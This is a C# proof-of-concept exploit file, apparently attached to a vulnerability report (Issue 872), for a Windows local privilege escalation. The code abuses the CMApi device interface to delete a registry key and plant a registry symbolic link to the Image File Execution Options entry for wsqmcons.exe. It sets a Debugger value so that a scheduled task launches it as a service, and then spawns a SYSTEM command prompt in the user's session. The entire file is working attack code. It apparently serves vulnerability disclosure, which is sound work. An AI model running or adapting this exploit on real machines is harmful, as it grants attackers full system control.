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Issue 872 attachment: Program.cs (24.5 KB)

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using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Threading;

namespace PoC
{
class Program
{
[Flags]
public enum AttributeFlags : uint
{
None = 0,
Inherit = 0x00000002,
Permanent = 0x00000010,
Exclusive = 0x00000020,
CaseInsensitive = 0x00000040,
OpenIf = 0x00000080,
OpenLink = 0x00000100,
KernelHandle = 0x00000200,
ForceAccessCheck = 0x00000400,
IgnoreImpersonatedDevicemap = 0x00000800,
DontReparse = 0x00001000,
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class UnicodeString
{
ushort Length;
ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
string Buffer;

public UnicodeString(string str)
{
Length = (ushort)(str.Length * 2);
MaximumLength = (ushort)((str.Length * 2) + 1);
Buffer = str;
}
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class ObjectAttributes : IDisposable
{
int Length;
IntPtr RootDirectory;
IntPtr ObjectName;
AttributeFlags Attributes;
IntPtr SecurityDescriptor;
IntPtr SecurityQualityOfService;

private static IntPtr AllocStruct(object s)
{
int size = Marshal.SizeOf(s);
IntPtr ret = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(s, ret, false);
return ret;
}

private static void FreeStruct(ref IntPtr p, Type struct_type)
{
Marshal.DestroyStructure(p, struct_type);
Marshal.FreeHGlobal(p);
p = IntPtr.Zero;
}

public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey)
{
Length = Marshal.SizeOf(this);
if (object_name != null)
{
ObjectName = AllocStruct(new UnicodeString(object_name));
}
Attributes = flags;
RootDirectory = rootkey;
}

public ObjectAttributes(string object_name, AttributeFlags flags)
: this(object_name, flags, IntPtr.Zero)
{
}

public void Dispose()
{
if (ObjectName != IntPtr.Zero)
{
FreeStruct(ref ObjectName, typeof(UnicodeString));
}
GC.SuppressFinalize(this);
}

~ObjectAttributes()
{
Dispose();
}
}

[Flags]
public enum LoadKeyFlags
{
None = 0,
AppKey = 0x10,
Exclusive = 0x20,
Unknown800 = 0x800,
ReadOnly = 0x2000,
}

[Flags]
public enum GenericAccessRights : uint
{
None = 0,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}

public class NtException : ExternalException
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string modulename);

[Flags]
enum FormatFlags
{
AllocateBuffer = 0x00000100,
FromHModule = 0x00000800,
FromSystem = 0x00001000,
IgnoreInserts = 0x00000200
}

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int FormatMessage(
FormatFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
out IntPtr lpBuffer,
int nSize,
IntPtr Arguments
);

[DllImport("kernel32.dll")]
private static extern IntPtr LocalFree(IntPtr p);

private static string StatusToString(int status)
{
IntPtr buffer = IntPtr.Zero;
try
{
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
{
return Marshal.PtrToStringUni(buffer);
}
}
finally
{
if (buffer != IntPtr.Zero)
{
LocalFree(buffer);
}
}
return String.Format("Unknown Error: 0x{0:X08}", status);
}

public NtException(int status) : base(StatusToString(status))
{
}
}

public static void StatusToNtException(int status)
{
if (status < 0)
{
throw new NtException(status);
}
}


[Flags]
public enum FileOpenOptions
{
None = 0,
DirectoryFile = 0x00000001,
WriteThrough = 0x00000002,
SequentialOnly = 0x00000004,
NoIntermediateBuffering = 0x00000008,
SynchronousIoAlert = 0x00000010,
SynchronousIoNonAlert = 0x00000020,
NonDirectoryFile = 0x00000040,
CreateTreeConnection = 0x00000080,
CompleteIfOplocked = 0x00000100,
NoEaKnowledge = 0x00000200,
OpenRemoteInstance = 0x00000400,
RandomAccess = 0x00000800,
DeleteOnClose = 0x00001000,
OpenByFileId = 0x00002000,
OpenForBackupIntent = 0x00004000,
NoCompression = 0x00008000,
OpenRequiringOplock = 0x00010000,
ReserveOpfilter = 0x00100000,
OpenReparsePoint = 0x00200000,
OpenNoRecall = 0x00400000,
OpenForFreeSpaceQuery = 0x00800000
}

public class IoStatusBlock
{
public IntPtr Pointer;
public IntPtr Information;

public IoStatusBlock(IntPtr pointer, IntPtr information)
{
Pointer = pointer;
Information = information;
}

public IoStatusBlock()
{
}
}

[Flags]
public enum ShareMode
{
None = 0,
Read = 0x00000001,
Write = 0x00000002,
Delete = 0x00000004,
}

[Flags]
public enum FileAccessRights : uint
{
None = 0,
ReadData = 0x0001,
WriteData = 0x0002,
AppendData = 0x0004,
ReadEa = 0x0008,
WriteEa = 0x0010,
Execute = 0x0020,
DeleteChild = 0x0040,
ReadAttributes = 0x0080,
WriteAttributes = 0x0100,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}

[DllImport("ntdll.dll")]
public static extern int NtOpenFile(
out IntPtr FileHandle,
FileAccessRights DesiredAccess,
ObjectAttributes ObjAttr,
[In] [Out] IoStatusBlock IoStatusBlock,
ShareMode ShareAccess,
FileOpenOptions OpenOptions);

[DllImport("ntdll.dll")]
public static extern int NtDeviceIoControlFile(
SafeFileHandle FileHandle,
IntPtr Event,
IntPtr ApcRoutine,
IntPtr ApcContext,
[In] [Out] IoStatusBlock IoStatusBlock,
uint IoControlCode,
SafeHGlobalBuffer InputBuffer,
int InputBufferLength,
SafeHGlobalBuffer OutputBuffer,
int OutputBufferLength
);

static T DeviceIoControl<T>(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer)
{
using (SafeStructureOutBuffer<T> output = new SafeStructureOutBuffer<T>())
{
using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer))
{
IoStatusBlock status = new IoStatusBlock();
StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero,
IntPtr.Zero, status, IoControlCode, input, input.Length,
output, output.Length));

return output.Result;
}
}
}

public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
{
AttributeFlags flags = AttributeFlags.CaseInsensitive;
if (inherit)
flags |= AttributeFlags.Inherit;
using (ObjectAttributes obja = new ObjectAttributes(name, flags))
{
IntPtr handle;
IoStatusBlock iostatus = new IoStatusBlock();
StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions));
return new SafeFileHandle(handle, true);
}
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
class CmApiOpenKeyData
{
public int cbSize; // 0
public int device_type; // 4
public int callback_id; // 8
[MarshalAs(UnmanagedType.LPWStr)]
public string name; // c
public int name_size; // 10
public GenericAccessRights desired_access; // 14
public int create; // 18
public int hardware_id; // 1c
public int return_data_size; // 20

public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size)
{
this.cbSize = Marshal.SizeOf(this);
this.device_type = device_type;
this.callback_id = callback_id;
this.name = name;
this.name_size = (name.Length + 1) * 2;
this.desired_access = desired_access;
this.create = create ? 1 : 0;
this.hardware_id = hardware_id;
this.return_data_size = return_data_size;
}
}

[StructLayout(LayoutKind.Sequential)]
class CmApiOpenKeyResult
{
int size;
public int status;
public long handle;
};

public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
{
public SafeHGlobalBuffer(int length)
: this(Marshal.AllocHGlobal(length), length, true)
{
}

public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
: base(owns_handle)
{
Length = length;
SetHandle(buffer);
}

public int Length
{
get; private set;
}

protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
Marshal.FreeHGlobal(handle);
handle = IntPtr.Zero;
}
return true;
}
}

public class SafeStructureBuffer : SafeHGlobalBuffer
{
Type _type;

public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
{
_type = value.GetType();
Marshal.StructureToPtr(value, handle, false);
}

protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
Marshal.DestroyStructure(handle, _type);
}
return base.ReleaseHandle();
}
}

public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
{
public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
{
}

public T Result
{
get
{
if (IsInvalid)
throw new ObjectDisposedException("handle");

return Marshal.PtrToStructure<T>(handle);
}
}
}

static void EnumKeys(RegistryKey rootkey, IEnumerable<string> name_parts, List<string> names, int maxdepth, int current_depth)
{
if (current_depth == maxdepth)
{
names.Add(String.Join(@"\", name_parts));
}
else
{
foreach (string subkey in rootkey.GetSubKeyNames())
{
using (RegistryKey key = rootkey.OpenSubKey(subkey))
{
if (key != null)
{
EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1);
}
}
}
}
}

static IEnumerable<string> GetValidDeviceNames()
{
List<string> names = new List<string>();
using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum"))
{
EnumKeys(rootkey, new string[0], names, 3, 0);
}
return names;
}

static RegistryKey OpenProfileKey(string name)
{
RegistryKey ret = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Hardware Profiles\0001\SYSTEM\CurrentControlSet\Enum");
if (name != null)
{
try
{
return ret.OpenSubKey(name);
}
finally
{
ret.Close();
}
}
else
{
return ret;
}
}

static string FindFirstAccessibleDevice()
{
foreach (string device in GetValidDeviceNames())
{
try
{
using (RegistryKey key = OpenProfileKey(device))
{
if (key == null)
{
return device;
}
}
}
catch { }
}

return null;
}

[Flags]
enum KeyCreateOptions
{
None = 0,
NonVolatile = None,
Volatile = 1,
CreateLink = 2,
BackupRestore = 4,
}

[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
static extern int NtCreateKey(
out IntPtr KeyHandle,
GenericAccessRights DesiredAccess,
[In] ObjectAttributes ObjectAttributes,
int TitleIndex,
[In] UnicodeString Class,
KeyCreateOptions CreateOptions,
out int Disposition);

static SafeRegistryHandle CreateKey(SafeRegistryHandle rootkey, string path, AttributeFlags flags, KeyCreateOptions options)
{
using (ObjectAttributes obja = new ObjectAttributes(path, flags | AttributeFlags.CaseInsensitive, rootkey != null ? rootkey.DangerousGetHandle() : IntPtr.Zero))
{
IntPtr handle;
int disposition = 0;
StatusToNtException(NtCreateKey(out handle, GenericAccessRights.MaximumAllowed, obja, 0, null, options, out disposition));
return new SafeRegistryHandle(handle, true);
}
}

enum RegistryKeyType
{
Link = 6,
}

[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
static extern int NtSetValueKey(
SafeRegistryHandle KeyHandle,
UnicodeString ValueName,
int TitleIndex,
RegistryKeyType Type,
byte[] Data,
int DataSize);

[DllImport("ntdll.dll")]
static extern int NtDeleteKey(SafeRegistryHandle KeyHandle);

static void DeleteSymbolicLink(SafeRegistryHandle rootkey, string path)
{
using (SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenLink | AttributeFlags.OpenIf, KeyCreateOptions.None))
{
StatusToNtException(NtDeleteKey(key));
}
}

static SafeRegistryHandle CreateSymbolicLink(SafeRegistryHandle rootkey, string path, string target)
{
SafeRegistryHandle key = CreateKey(rootkey, path, AttributeFlags.OpenIf | AttributeFlags.OpenLink, KeyCreateOptions.CreateLink);
try
{
UnicodeString value_name = new UnicodeString("SymbolicLinkValue");
byte[] data = Encoding.Unicode.GetBytes(target);
StatusToNtException(NtSetValueKey(key, value_name, 0, RegistryKeyType.Link, data, data.Length));
SafeRegistryHandle ret = key;
key = null;
return ret;
}
finally
{
if (key != null)
{
NtDeleteKey(key);
}
}
}

static RegistryKey CreateDeviceKey(string device_name)
{
using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false))
{
CmApiOpenKeyData data = new CmApiOpenKeyData(0x211, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult)));
CmApiOpenKeyResult result = DeviceIoControl<CmApiOpenKeyResult>(handle, 0x47085B, data);
StatusToNtException(result.status);
return RegistryKey.FromHandle(new SafeRegistryHandle(new IntPtr(result.handle), true));
}
}


public enum TokenInformationClass
{
TokenSessionId = 12
}

[DllImport("ntdll.dll")]
public static extern int NtClose(IntPtr handle);

[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
public static extern int NtOpenProcessTokenEx(
IntPtr ProcessHandle,
GenericAccessRights DesiredAccess,
AttributeFlags HandleAttributes,
out IntPtr TokenHandle);

public sealed class SafeKernelObjectHandle
: SafeHandleZeroOrMinusOneIsInvalid
{
public SafeKernelObjectHandle()
: base(true)
{
}

public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
: base(owns_handle)
{
SetHandle(handle);
}

protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
NtClose(this.handle);
this.handle = IntPtr.Zero;
return true;
}
return false;
}
}

public enum TokenType
{
Primary = 1,
Impersonation = 2
}

[DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
public static extern int NtDuplicateToken(
IntPtr ExistingTokenHandle,
GenericAccessRights DesiredAccess,
ObjectAttributes ObjectAttributes,
bool EffectiveOnly,
TokenType TokenType,
out IntPtr NewTokenHandle
);

public static SafeKernelObjectHandle DuplicateToken(SafeKernelObjectHandle existing_token)
{
IntPtr new_token;

using (ObjectAttributes obja = new ObjectAttributes(null, AttributeFlags.None))
{
StatusToNtException(NtDuplicateToken(existing_token.DangerousGetHandle(),
GenericAccessRights.MaximumAllowed, obja, false, TokenType.Primary, out new_token));
return new SafeKernelObjectHandle(new_token, true);
}
}

public static SafeKernelObjectHandle OpenProcessToken()
{
IntPtr new_token;
StatusToNtException(NtOpenProcessTokenEx(new IntPtr(-1),
GenericAccessRights.MaximumAllowed, AttributeFlags.None, out new_token));
using (SafeKernelObjectHandle ret = new SafeKernelObjectHandle(new_token, true))
{
return DuplicateToken(ret);
}
}

[DllImport("ntdll.dll")]
public static extern int NtSetInformationToken(
SafeKernelObjectHandle TokenHandle,
TokenInformationClass TokenInformationClass,
byte[] TokenInformation,
int TokenInformationLength);

public static void SetTokenSessionId(SafeKernelObjectHandle token, int session_id)
{
byte[] buffer = BitConverter.GetBytes(session_id);
NtSetInformationToken(token, TokenInformationClass.TokenSessionId,
buffer, buffer.Length);
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}

enum CreateProcessFlags
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}

[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);

static void SpawnInteractiveCmd(int sessionid)
{
SafeKernelObjectHandle token = OpenProcessToken();
SetTokenSessionId(token, sessionid);

STARTUPINFO startInfo = new STARTUPINFO();
startInfo.cb = Marshal.SizeOf(startInfo);
PROCESS_INFORMATION procInfo;

CreateProcessAsUser(token.DangerousGetHandle(), null, "cmd.exe",
IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref startInfo, out procInfo);
}

static bool DoExploit()
{
SafeRegistryHandle symbolic_link = null;

try
{
string device_name = FindFirstAccessibleDevice();
if (device_name != null)
{
Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name);
}
else
{
throw new ArgumentException("Couldn't find a valid device");
}

using (RegistryKey key = CreateDeviceKey(device_name))
{
StatusToNtException(NtDeleteKey(key.Handle));
}

Console.WriteLine("[SUCCESS]: Deleted leaf key");

using (RegistryKey profile_key = OpenProfileKey(null))
{
symbolic_link = CreateSymbolicLink(profile_key.Handle, device_name,
@"\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe");
}

Console.WriteLine("[SUCCESS]: Created symbolic link");
using (RegistryKey key = CreateDeviceKey(device_name))
{
key.SetValue("Debugger", String.Format("\"{0}\" {1}", Assembly.GetCallingAssembly().Location, GetSessionId()));
Console.WriteLine("[SUCCESS]: Created IFEO key");
EventWaitHandle ev = new EventWaitHandle(false, EventResetMode.AutoReset, @"Global\{376693BE-1931-4AF9-8D56-C629F9094745}");
Process p = Process.Start("schtasks", @"/Run /TN ""\Microsoft\Windows\Customer Experience Improvement Program\Consolidator""");
ev.WaitOne();

NtDeleteKey(key.Handle);
}
}
catch (Exception ex)
{
Console.WriteLine("[ERROR]: {0}", ex.Message);
}
finally
{
if (symbolic_link != null)
{
NtDeleteKey(symbolic_link);
}
}
return false;
}

static int GetSessionId()
{
using (Process p = Process.GetCurrentProcess())
{
return p.SessionId;
}
}

static void Main(string[] args)
{
if (GetSessionId() > 0)
{
DoExploit();
}
else
{
Console.WriteLine("[SUCCESS]: Running as service");
EventWaitHandle ev = EventWaitHandle.OpenExisting(@"Global\{376693BE-1931-4AF9-8D56-C629F9094745}", EventWaitHandleRights.Modify);
ev.Set();
if (args.Length > 1)
{
int session_id;
if (!int.TryParse(args[0], out session_id))
{
session_id = 0;
}
SpawnInteractiveCmd(session_id);
}
}
}
}
}